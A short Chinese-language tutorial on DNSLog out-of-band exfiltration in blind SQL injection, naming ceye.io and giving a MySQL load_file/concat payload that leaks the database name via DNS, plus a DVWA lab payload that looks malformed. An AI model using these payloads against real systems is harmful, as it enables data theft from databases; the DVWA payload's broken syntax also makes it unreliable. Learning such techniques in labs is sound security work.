一、是什么？

　　DNSLog ⽤于监测 DNS 和 HTTP 访问记录，可通过HTTP请求，让⽬标主机主动请求 DNSLog API 地址，有相应的解析记录，则可判定为存在相应的漏洞。

二、应用场景

　　简单理解就是在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起DNS请求，这个时候就可以通过这种方式把想获得的数据外带出来。

三、DNS网址

　　ceye.io   提供DNSlog、HTTP等的查询服务

　　sso.telnet404.com  注册网址

 

四、基本步骤

　　1.复制个人标识符XXX.ceye.io，替换语句，回车之后有延迟表示成功访问

　　2.在ceye.io网站查看解析

五、语句　

　　　　核心：select load_file(concat('\\\\',hex((select database())),'.XXX.ceye.io\\abv')); //hex是为了避免出现-，/等特殊字符

六、DVWA实战

　　　实际应用的时候，直接用核心语句肯定是不行的，需要先做好信息收集，根据网站源代码进行具体的分析与构建语句，比如判断、闭合与注释什么的的。

　　语句：1' and if((select schema_name from information_schema.schemata limit 0,1)),'.XXX.ceye.io\\abv'))),1,0) And '1'='1 //两条语句可以用and操作符连接，但是and 与select不能直接连接，所以需要if函来承接，返回结果不重要，执行语句最重要。